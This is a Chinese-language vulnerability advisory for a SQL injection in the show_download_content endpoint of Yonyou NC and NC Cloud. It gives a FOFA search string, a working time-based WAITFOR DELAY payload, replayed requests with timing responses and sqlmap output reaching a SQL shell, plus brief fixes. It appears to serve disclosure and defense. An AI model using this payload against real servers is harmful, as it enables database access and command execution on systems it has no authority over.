

用友NC及NC Cloud show_download_content SQL注入漏洞

漏洞描述

用友NC及NC Cloud /ebvp/infopub/show_download_content接口存在SQL注入漏洞，攻击者通过利用SQL注入漏洞配合数据库xp_cmdshell可以执行任意命令，从而控制服务器。经过分析与研判，该漏洞利用难度低，建议尽快修复。

影响版本

用友-NC-Cloud

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA： app="用友-NC-Cloud"

POC/EXP：

```
GET /ebvp/infopub/show_download_content.js?id=1';WAITFOR+DELAY+'0:0:6'-- HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Accept-Encoding: gzip, deflate, br
Accept: /
Accept-Language: zh-CN
Connection: keep-alive
```

发送请求

强制 HTTPS

历史

美化渲染详情

Request

数据包扫描热加载构造请求

1

GET /ebvp/infopub/show_download_content;.js?id=1';WAITFOR DELAY '0:0:3'-- HTTP/1.1

2

Host: .

3

Accept: application/json, text/plain, */*

4

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36

5

Accept-Encoding: gzip, deflate

6

Accept-Language: zh-CN, zh;q=0.9

7

8

9

Responses50882bytes / 3359ms

1

HTTP/1.1 500

2

Set-Cookie: JSESSIONID=71926B7A48E00BB2136A61148C6AEF19. server; Path=/ebvp; HttpOnly

3

X-FRAME-OPTIONS: SAMEORIGIN

4

Content-Type: text/html; charset=utf-8

5

Content-Language: zh-CN

6

Date: Tue, 03-Sep-2024 06:14:31 GMT

7

Connection: close

8

Server: server

9

Content-Length: 50882

10

11

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" . . . "http://www.w3.org/TR/html4/loose.dtd">

12

13

14

15

16

17

18

19

发送请求

强制 HTTPS

历史

美化渲染详情

Request

数据包扫描热加载构造请求

1

GET /ebvp/infopub/show_download_content;.js?id=1';WAITFOR DELAY '0:0:6'-- HTTP/1.1

2

Host: .

3

Accept: application/json, text/plain, */*

4

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36

5

Accept-Encoding: gzip, deflate

6

Accept-Language: zh-CN, zh;q=0.9

7

8

9

Responses50882bytes / 6384ms

1

HTTP/1.1 500

2

Set-Cookie: JSESSIONID=8046D3CF0E1721FB534A6C45CC837AA3. server; Path=/ebvp; HttpOnly

3

X-FRAME-OPTIONS: SAMEORIGIN

4

Content-Type: text/html; charset=utf-8

5

Content-Language: zh-CN

6

Date: Tue, 03-Sep-2024 06:23:48 GMT

7

Connection: close

8

Server: server

9

Content-Length: 50882

10

11

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" . . . "http://www.w3.org/TR/html4/loose.dtd">

12

13

14

15

16

17

18

19

```
[14:17:12] [INFO] checking if the injection point on URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 67 HTTP(s) requests:
---
Parameter: #1* (URI)
  Type: stacked queries
  Title: Microsoft SQL Server/Sybase stacked queries (comment)
  Payload: http://10.10.10.10/ebvp/infopub/show_download_content;.js?id=1';WAITFOR DELAY '0:0:5'--
---
[14:18:10] [INFO] testing Microsoft SQL Server
[14:18:10] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to avoid
event potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] y
[14:18:20] [INFO] confirming Microsoft SQL Server
[14:18:27] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: JSP
back-end DBMS: Microsoft SQL Server 2016
[14:18:27] [INFO] calling Microsoft SQL Server shell. To quit type 'x' or 'q' and press ENTER
sql-shell> |
```

修复方案

关闭互联网暴露面或接口设置访问权限

升级至安全版本